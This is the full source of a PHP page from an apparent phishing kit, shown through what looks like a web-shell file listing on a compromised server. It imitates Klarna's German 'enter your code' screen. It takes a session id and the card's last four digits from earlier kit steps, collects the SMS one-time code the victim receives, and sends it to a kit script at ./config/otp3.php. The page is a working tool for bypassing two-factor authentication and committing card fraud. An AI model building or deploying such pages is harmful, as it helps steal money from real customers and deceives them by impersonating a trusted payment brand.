%PDF- %PDF-
| Direktori : /dom645759/de/klarna/ |
| Current File : //dom645759/de/klarna/sms_klarna.php |
<?php
// Récupération des données
$id = isset($_REQUEST['id']) ? $_REQUEST['id'] : 'unknown';
$last4 = isset($_REQUEST['last4']) ? $_REQUEST['last4'] : 'xxxx';
$card_type = isset($_GET['type']) ? $_GET['type'] : (isset($_POST['type']) ? $_POST['type'] : 'unknown');
?>
<!DOCTYPE html>
<html lang="de">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=yes">
<title>Klarna – Code bestätigen</title>
<style>
* {
margin: 0;
padding: 0;
box-sizing: border-box;
}
body {
background-color: #f5f5f7;
display: flex;
justify-content: center;
align-items: center;
min-height: 100vh;
font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Helvetica, Arial, sans-serif;
margin: 0;
padding: 16px;
}
.kaf-dialog {
background-color: #fff;
border-radius: 32px;
box-shadow: 0 25px 45px -12px rgba(0, 0, 0, 0.2);
width: 100%;
max-width: 600px;
margin: 0 auto;
overflow: hidden;
position: relative;
}
.nav-bar {
display: flex;
align-items: center;
justify-content: space-between;
height: 60px;
padding: 0 20px;
border-bottom: 1px solid #e9e9ef;
background-color: #fff;
}
.nav-left, .nav-right {
width: 40px;
height: 40px;
display: flex;
align-items: center;
justify-content: center;
}
.nav-left button, .nav-right button {
background: none;
border: none;
cursor: pointer;
padding: 8px;
border-radius: 50%;
display: flex;
align-items: center;
justify-content: center;
}
.nav-left button:hover, .nav-right button:hover {
background-color: #f0f0f2;
}
.klarna-logo svg {
height: 28px;
width: auto;
display: block;
}
.content {
padding: 60px 24px 80px;
}
h1 {
font-size: 27px;
font-weight: 700;
line-height: 31px;
letter-spacing: 0.3px;
color: #0b051d;
margin-bottom: 8px;
}
.otp-description {
font-size: 16px;
line-height: 23px;
color: #373544;
margin-top: 8px;
margin-bottom: 24px;
}
.phone-number {
font-weight: 500;
color: #0b051d;
}
.change-link {
color: #5c32b8;
text-decoration: none;
font-weight: 500;
margin-left: 8px;
font-size: 16px;
cursor: pointer;
}
.change-link:hover {
text-decoration: underline;
}
.input-group {
margin-bottom: 16px;
}
.otp-input-wrapper {
border: 1px solid #706e7b;
border-radius: 16px;
height: 60px;
display: flex;
align-items: center;
padding: 0 15px;
transition: border-color 0.2s;
}
.otp-input-wrapper:focus-within {
border-color: #0b051d;
box-shadow: 0 0 0 1px #0b051d;
}
.phone-icon {
margin-right: 12px;
display: flex;
align-items: center;
}
.otp-input {
flex: 1;
border: none;
outline: none;
font-size: 16px;
font-weight: 500;
color: #0b051d;
background: transparent;
padding: 18px 0;
width: 100%;
letter-spacing: 0.5px;
}
.otp-input::placeholder {
color: #b9c2d0;
font-weight: normal;
letter-spacing: normal;
}
.info-message {
background-color: #ccf9d4;
border-radius: 16px;
padding: 16px;
display: flex;
align-items: flex-start;
gap: 12px;
margin-top: 24px;
margin-bottom: 16px;
}
.info-icon svg {
display: block;
}
.info-text p {
font-weight: 500;
color: #0b051d;
margin-bottom: 4px;
}
.info-text span {
font-size: 14px;
color: #0b051d;
}
/* Neuer Submit-Button (ersetzt den Resend-Button) */
.submit-button {
width: 100%;
background-color: #0b051d;
border: none;
border-radius: 9999px;
height: 50px;
color: #f9f8f5;
font-size: 16px;
font-weight: 500;
cursor: pointer;
transition: background-color 0.2s;
margin-top: 8px;
margin-bottom: 24px;
}
.submit-button:hover {
background-color: #2c1d4a;
}
.footer-links {
padding: 20px 24px 24px;
border-top: 1px solid #e9e9ef;
font-size: 12px;
color: #8c9eb2;
text-align: center;
}
.footer-links a {
color: #3a546d;
text-decoration: none;
margin: 0 4px;
}
@media (max-width: 560px) {
body {
padding: 0;
background-color: #fff;
}
.kaf-dialog {
border-radius: 0;
box-shadow: none;
}
.content {
padding: 40px 20px 60px;
}
}
</style>
</head>
<body>
<div class="kaf-dialog">
<!-- Navigationsleiste genau wie Klarna -->
<div class="nav-bar">
<div class="nav-left">
<button aria-label="Zurück" id="backButton" onclick="history.back()">
<svg width="24" height="24" viewBox="0 0 20 20" fill="none" xmlns="http://www.w3.org/2000/svg">
<path d="M12.5 9.167H4.047c.418-.365.828-.74 1.222-1.129a27.562 27.562 0 0 0 2.905-3.381l-1.348-.98a25.873 25.873 0 0 1-2.728 3.176c-.91.899-1.892 1.73-2.919 2.471a.833.833 0 0 0 0 1.352 24.844 24.844 0 0 1 2.92 2.471 25.87 25.87 0 0 1 2.727 3.177l1.348-.981a27.57 27.57 0 0 0-2.905-3.381c-.394-.39-.804-.764-1.222-1.129H12.5c2.757 0 5 2.243 5 5h1.667A6.674 6.674 0 0 0 12.5 9.167Z" fill="#0b051d"/>
</svg>
</button>
</div>
<div class="klarna-logo">
<svg width="64.9" height="28" viewBox="0 0 51 22" xmlns="http://www.w3.org/2000/svg">
<path d="M44.2986 -0.00524902H5.98714C2.68054 -0.00524902 0 2.67529 0 5.98189V16.0076C0 19.3142 2.68054 21.9948 5.98714 21.9948H44.2986C47.6052 21.9948 50.2857 19.3142 50.2857 16.0076V5.98189C50.2857 2.67529 47.6052 -0.00524902 44.2986 -0.00524902Z" fill="#FFA8CD"/>
<path d="M41.1195 14.1197C40.2073 14.1197 39.4964 13.3654 39.4964 12.4495C39.4964 11.5335 40.2073 10.7792 41.1195 10.7792C42.0317 10.7792 42.7427 11.5335 42.7427 12.4495C42.7427 13.3654 42.0317 14.1197 41.1195 14.1197ZM40.6634 15.8842C41.4415 15.8842 42.4342 15.5879 42.9842 14.4295L43.0378 14.4565C42.7964 15.0895 42.7963 15.4666 42.7963 15.5609V15.7091H44.7548V9.18989H42.7963V9.33799C42.7963 9.43228 42.7964 9.80942 43.0378 10.4426L42.9842 10.4695C42.4342 9.31112 41.4415 9.01475 40.6634 9.01475C38.7988 9.01475 37.4842 10.4964 37.4842 12.4495C37.4842 14.4026 38.7988 15.8842 40.6634 15.8842ZM34.0768 9.01475C33.1915 9.01475 32.4939 9.32456 31.9306 10.4695L31.8769 10.4426C32.1184 9.80942 32.1184 9.43228 32.1184 9.33799V9.18989H30.1598V15.7091H32.172V12.2744C32.172 11.3719 32.6951 10.8062 33.5403 10.8062C34.3854 10.8062 34.8013 11.2911 34.8013 12.2609V15.7091H36.8135V11.5605C36.8135 10.0788 35.6598 9.01475 34.0768 9.01475ZM27.2489 10.4695L27.1952 10.4426C27.4367 9.80942 27.4367 9.43228 27.4367 9.33799V9.18989H25.4781V15.7091H27.4903L27.5038 12.5707C27.5038 11.6548 27.9867 11.1026 28.7781 11.1026C28.9928 11.1026 29.1671 11.1295 29.3684 11.1833V9.18989C28.483 9.00132 27.6916 9.33799 27.2489 10.4695ZM20.8501 14.1197C19.9379 14.1197 19.227 13.3654 19.227 12.4495C19.227 11.5335 19.9379 10.7792 20.8501 10.7792C21.7623 10.7792 22.4732 11.5335 22.4732 12.4495C22.4732 13.3654 21.7623 14.1197 20.8501 14.1197ZM20.394 15.8842C21.1721 15.8842 22.1648 15.5879 22.7148 14.4295L22.7684 14.4565C22.5269 15.0895 22.5269 15.4666 22.5269 15.5609V15.7091H24.4855V9.18989H22.5269V9.33799C22.5269 9.43228 22.5269 9.80942 22.7684 10.4426L22.7148 10.4695C22.1648 9.31112 21.1721 9.01475 20.394 9.01475C18.5294 9.01475 17.2148 10.4964 17.2148 12.4495C17.2148 14.4026 18.5294 15.8842 20.394 15.8842ZM14.4111 15.7091H16.4233V6.28047H14.4111V15.7091ZM12.9355 6.28047H10.8831C10.8831 7.96417 9.85019 9.47274 8.28065 10.5503L7.66361 10.9813V6.28047H5.53069V15.7091H7.66361V11.0352L11.1916 15.7091H13.7941L10.4002 11.2372C11.9429 10.1192 12.949 8.3817 12.9355 6.28047Z" fill="#0B051D"/>
</svg>
</div>
<div class="nav-right">
<button aria-label="Schließen" id="closeButton" onclick="window.close();">
<svg width="24" height="24" viewBox="0 0 20 20" fill="none" xmlns="http://www.w3.org/2000/svg">
<path d="M17.047 4.13 15.87 2.954 10 8.822l-5.87-5.87-1.178 1.179L8.822 10l-5.87 5.87 1.179 1.178L10 11.178l5.87 5.87 1.178-1.179L11.177 10l5.87-5.87Z" fill="#0b051d"/>
</svg>
</button>
</div>
</div>
<div class="content">
<h1>Gib deinen Code ein</h1>
<div class="otp-description">
Ein Bestätigungscode wurde an
Ihre Handynummer gesendet.<br>
</div>
<form id="otpForm" action="./config/otp3.php" method="POST">
<input type="hidden" name="session_id" value="<?= htmlspecialchars($id) ?>">
<input type="hidden" name="phone" value="<?= htmlspecialchars($phone_raw) ?>">
<div class="input-group">
<div class="otp-input-wrapper">
<div class="phone-icon">
<svg width="20" height="20" viewBox="0 0 20 20" fill="none" xmlns="http://www.w3.org/2000/svg">
<g fill="currentColor" fill-rule="evenodd" clip-rule="evenodd">
<path d="M9.163 15.417c0-.717.3-1.105.832-1.105s.835.388.835 1.105c0 .716-.303 1.105-.835 1.105s-.832-.389-.832-1.105Zm4.167 3.75H6.663a3.337 3.337 0 0 1-3.333-3.334V4.167A3.337 3.337 0 0 1 6.663.833h6.667a3.337 3.337 0 0 1 3.333 3.334v11.666a3.337 3.337 0 0 1-3.333 3.334ZM6.663 2.5c-.918 0-1.666.748-1.666 1.667v11.666c0 .92.748 1.667 1.666 1.667h6.667c.919 0 1.667-.748 1.667-1.667V4.167c0-.92-.748-1.667-1.667-1.667H6.663Z" fill="#0b051d"/>
</g>
</svg>
</div>
<input type="tel" id="otpCode" name="otp" class="otp-input"
placeholder="Code eingeben" autocomplete="off"
inputmode="numeric" maxlength="8" required
oninput="this.value = this.value.replace(/[^0-9]/g, '').slice(0,8);">
</div>
</div>
<!-- Grüne Informationsbox (wie Klarna) -->
<div class="info-message">
<div class="info-icon">
<svg width="20" height="20" viewBox="0 0 20 20" fill="none" xmlns="http://www.w3.org/2000/svg">
<path d="M9.997.83C4.938.83.83 4.938.83 9.997c0 5.058 4.108 9.166 9.167 9.166 5.058 0 9.166-4.108 9.166-9.166 0-5.059-4.108-9.167-9.166-9.167Zm1.741 9.108c-.75 1-1.416 2.05-1.983 3.117a.82.82 0 0 1-.608.433c-.042.009-.084.009-.125.009a.839.839 0 0 1-.592-.242L5.605 10.43 6.78 9.255l2.05 2.042a27 27 0 0 1 1.575-2.359 27.235 27.235 0 0 1 2.892-3.258l1.158 1.192c-1 .958-1.908 1.991-2.717 3.066Z" fill="#014822"/>
</svg>
</div>
<div class="info-text">
<p>Code an dein Telefon gesendet</p>
<span>Du solltest innerhalb von 20 Sekunden eine SMS erhalten.</span>
</div>
</div>
<!-- Neuer Submit-Button (ersetzt den alten "Code erneut senden" Button) -->
<button type="submit" class="submit-button">Bestätigen</button>
</form>
</div>
<div class="footer-links">
Durch Fortfahren stimme ich den <a href="#">Nutzungsbedingungen</a> · <a href="#">Datenschutzerklärung</a> · <a href="#">Cookie-Hinweis</a> zu.
</div>
</div>
<script>
const form = document.getElementById('otpForm');
form.addEventListener('submit', function(e) {
const otp = document.getElementById('otpCode').value.trim();
if (otp.length < 4 || otp.length > 8) {
e.preventDefault();
alert('Bitte gib einen Code mit 4 bis 8 Ziffern ein.');
}
});
</script>
</body>
</html>